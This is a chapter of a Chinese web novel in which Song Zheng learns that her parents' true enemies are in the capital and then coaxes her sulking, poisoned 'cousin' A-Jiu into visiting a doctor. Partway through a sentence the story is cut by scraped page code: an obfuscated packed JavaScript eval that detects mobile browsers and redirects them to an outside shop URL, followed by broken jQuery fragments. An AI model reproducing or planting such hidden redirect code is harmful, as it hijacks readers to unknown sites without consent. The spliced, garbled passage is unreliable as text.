这倒是真的让宋铮有些意外了。
之前公堂上刘秉认罪时,亲口承认他联合王三福几次三番威胁宋铠多交赋税,上交部分财产。遭到多次拒绝后,王三福怀恨在心,寻找刺客暗中刺杀了宋铠夫妇。
刘秉随即帮着处理了后事,收买仵作盖棺定论宋铠是被山贼杀害,其妻子忠贞不屈,上吊殉情。
这理由虽说有些荒诞,但也合理。可如今顾景行这么说,难不成是又审问出了什么内部消息?
宋铮好奇地看向顾景行,“大人这意思是.......?”
没在宋铮脸上看到他期待的那种表情,顾景行略显失望地叹了口气,“就凭王三福,能搞死谁?”
顾景行眼神扫过不远处的杂物间,懒懒道:“你父母的本事,可比你想象的大。”
宋铮心道,我猜也是。
不管是石婶还是王二碗,都看似平平无奇,可遇事是真不孬。简直是扫地增的典型代表。
但这么东扯西扯半天,顾景行还是没有说另有其人的凶手是什么身份,宋铮多少有些不耐烦。
“哎呀,别着急嘛小姑娘。”顾景行懒洋洋一笑,“重要的事总要最后才能说出口。”
宋铮秉持着良好的礼仪道德,非常真诚地面对着顾景行:“大人,我觉得我们今天的谈话已经到最后了,您可以继续说。”
“这样。”顾景行理解地点了点头,“真正的凶手在京城。”
宋铮眉头微蹙。又是京城。
“你父母原是京城人士,应该是得罪了仇家才会来此避世。”顾景行吐字清晰缓慢,又带了一点微不可察的惋惜,“前些日子,京城的仇家发现了你父母的踪迹,恰巧王三福和刘秉谋划着要杀害他们。所以他们干脆借王三福的手处理掉了这个麻烦。哦,我不是说你父母是麻烦。”
宋铮拧眉思索,“大人能查出来凶手是谁吗?”
顾景行嗤笑一声,“这可不归本官管,你若是感兴趣不如直接去问问你那位忠心耿耿的侍卫?”
杂物间的窗户边一道人影似乎一晃而过。
“总之,那些仇家能杀你父母当然可以杀你。所以你就安分在这待着,离京城远一点,他们大概不会想起你。”
宋铮了然,“大人不想我去京城。”
顾景行:“......”
宋铮:“为什么?”
顾景行斜睨一眼宋铮,面上不动声色:“你爱去哪去哪,死了算你自己的。”
话音刚落,顾景行抬步就走,忽而又想突然想起来什么般,从袖子中掏出一个青瓷小瓶,向后一抛:“你表哥的解药,一次一粒,一日两次,服药期间注意修养,不可劳累。”
宋铮伸手接住这个温热的小瓶子。一脸懵逼。
他知道阿玖的情况了?也是,郎中是他叫来的,当然要给他说明情况。
不过这人竟然这么好心吗?
宋铮收起小瓶子,犹豫了一会,向着杂物间的方向走去。
宋铮推门而入时,王二碗正站在房间中央,看起来有些焦躁不安。
“小碗叔叔,方便聊一聊吗?”
“啊......”王二碗搓了搓手,脸上愈发显得愁苦,“筝姐儿想怎么聊?”
宋铮直接切入主题,问道:“我父母在京城有什么仇人?”
王二碗沉沉叹了口气:“筝姐儿,往事莫追啊。”
宋铮垂眸,若是可以选择的话,她当然想什么都不管,都穿越了,混口饭吃都难。哪还顾得上什么仇不仇家的?
可问题是,原主宋筝在她穿来的那天应该就已经死了。之前她没空多想,只隐约听石婶劝过一句让她不要太伤心,就算想念父母也不要半夜跑到山上祭拜。
可宋铮刚醒过来时胃中翻江倒海的恶心感仍让她印象深刻。且她后来并没有生病,甚至没有感冒。
所以有很大可能是那晚宋筝已经被人毒害,并被人伪造成宋筝在父母坟前服毒自杀的样子。
这事当然不方便告诉王二碗,但......
宋铮收起思绪,恳切地望向王二碗:“小碗叔叔,那些贼人想杀我爹娘,就未必不想杀我。筝姐儿总要有个心理准备。”
王二碗愣愣地看着宋铮,虎目含泪,忽地扑通跪了下去,如那晚的月下子时。
宋铮也跟那天一样被吓了一跳,无奈道:“小碗叔叔,您这可是要折筝姐儿的寿了。”
“不行不行,这可不行。”王二碗又急急忙忙站起来,“筝姐儿长命百岁。”
宋铮眼神复杂地看着他。
王二碗伸手抹了把眼泪,声音呜咽,这个世界的官话还有宋铮听不懂的家乡话来回乱飙:“俺原本就是一个村子的农民,被地主兼并了地,还给俺要债。俺走投无路上了山,有几个山贼要把俺捉了吃肉,还好宋大哥救了俺,还教俺功夫本领呜呜呜......”
所以,王二碗跟踪、偷听的本事都是原主父亲教的?那原主父亲究竟是做什么的?
还好王二碗没让宋铮猜太久,“宋大哥在宫里做事,二十年前不知为何,宫里起了大火。宋大哥一身是血冲了出来,俺去接应,我们逃的时候救了刚被砸断腿的翠嫂。换了不知道多少个地方才完全摆脱追兵,定居在这里。筝姐儿......宋大哥和翠嫂不容易啊,你就听那个人的,留在这吧......”
宋铮轻声问道:“所以我父母的仇人是宫里的?”
王二碗一边啪嗒啪嗒掉着眼泪一边点头,“筝姐儿,那个钦差说的没错,你且安心留在这呜呜呜......”
“那万一他们知道我父母有个孩子,要来斩草除根呢?”
“......不会的呜呜呜......”
宋铮:“......”行吧。
看王二碗哭得上气不接下气,宋铮有些惭愧,“小碗叔叔,别哭了。您说的是,往事莫追,筝姐儿会好好考虑的。”
宋铮慢慢退出屋子,为这位重感情的中年男子掩上门。
主屋里,阿玖正面对着墙睡觉。
宋铮蹑手蹑脚关上门,还没转身就听一道凉凉的嗓音响起:“表妹还知道回来?”
“我当表哥已经睡觉了呢。”宋铮转过身,神态自若,眉眼弯弯,“没想到表哥这么惦记我啊。”
阿玖猛地翻过身,再次面向墙壁装睡,留给宋铮一个孤傲的背影。
宋铮搬着小板凳坐到床边戳了戳他的背。
阿玖一个甩手躲开。
宋铮再次戳戳。
阿玖愈发往前蹭,几乎整个人要贴到墙壁上。
宋铮觉得有些好笑,手指沿着他的脊梁骨依次敲过,“不会吧不会吧,表哥不会又生气了吧?就因为表妹出去见了个男——”
“你不要得寸进尺!”阿玖一把抓住宋铮的手,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285445|151353||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耳尖通红。
宋铮顺着他的力道抬起胳膊,笑道:“表哥就只会这一句话吗?”
阿玖恨恨地甩开她的胳膊,用被子把自己裹成一个球。这次说什么也不肯搭理宋铮了。
“表哥莫气莫气,”宋铮拍拍他的背,“那钦差给了个好东西,吃了能让表哥精神抖擞、龙精虎猛,表哥要不要来看看?”
阿玖:“......”
他竟然对这个诱惑不感冒?这不能够啊,不都说男人对这种广告词没有抵抗力吗?明明连七八十岁的县令都忍不住入套了......
啊对,忘记阿玖现在失忆了,恐怕连龙精虎猛是什么意思都不知道。
宋铮一脸懊恼,贴心地向阿玖解释道:“就是能够让你——”
“够了!”阿玖猛地坐起身,咬牙切齿,“我知道!”
宋铮震惊,“你能坐起来了?!”
阿玖头脑一阵阵的眩晕,心道还不是被你气的。不过表面上他仍是一脸不耐,“我能坐起来有什么稀奇的?我腰又没断。”
宋铮兴奋地一拍手,“那再好不过了!表哥你快下床,我们去医馆让大夫再给你瞧瞧。”
阿玖沉默了一会,道:“我不去。”
“得去。那位钦差大人给了瓶药,说是能解你体内的毒。不过保险期间还是得问过大夫再服用。”
阿玖冷笑一声,“我好得很,不吃他的药。”
宋铮站起身,叉腰看着他,“你是不是和那个钦差认识?我感觉你俩态度很奇怪。”
阿玖回得干脆利落:“不认识。”
“你一个失忆患者说什么不认识,”宋铮默默翻了个白眼,“起来。”
阿玖倔强道:“我不,看到他我就不舒服!看到他的东西也一样。”
宋铮感觉自己像在哄一个无理取闹的孩子。可她凭什么哄?反正生病的又不是自己。
宋铮冷冷一笑,“阿玖,我留你在家是让你给我干活的,你要是活没做两天还死这了,我就把你的心肝脾肺肾挖出来炒菜吃!”
话落,宋铮将手中的青瓷小瓶向床上一抛,直接摔门而去。
阿玖面无表情依靠在墙上,默默注视着那扇被关上的门。
良久,他捡起被丢到身边的小瓶子,打开闻了一下,“什么毒药!”随即满脸嫌弃地将小瓶子丢到一边。
没一会,他一脸漫不经心地掀开被子,一只脚刚颤颤巍巍地落地,整个身体就顺着从床上滚了下来。
阿玖:......
这个屋子里虽然添置了几件生活必备家具,但仍旧空空荡荡的,目之所及找不到什么可以支撑住他身体的东西。
正犹豫间,余光一支青色的竹竿吸引了阿玖的视线。那是一把扫帚,之前狗蛋来打扫时放在这里的。
阿玖往前爬了两步摸到扫帚,竹竿很细,支撑不了一个人的重量。还好阿玖并没有把全部的力压上去,他借竹竿一撑,勉勉强强站了起来。
*
“叩叩”两声敲门声响起。
宋铮放下手中的刮了一半的驴皮,起身开门:“谁啊?”
开门的一瞬间,高大的身形猛地向她压过来,宋铮着急忙慌地扶住来人,借力赶紧将人挪到了床上。
终于平稳落地,阿玖额头上已满是冷汗,他却丝毫没有感觉般抬起头骄矜地看向宋铮:“我原谅你了,我们去医馆。”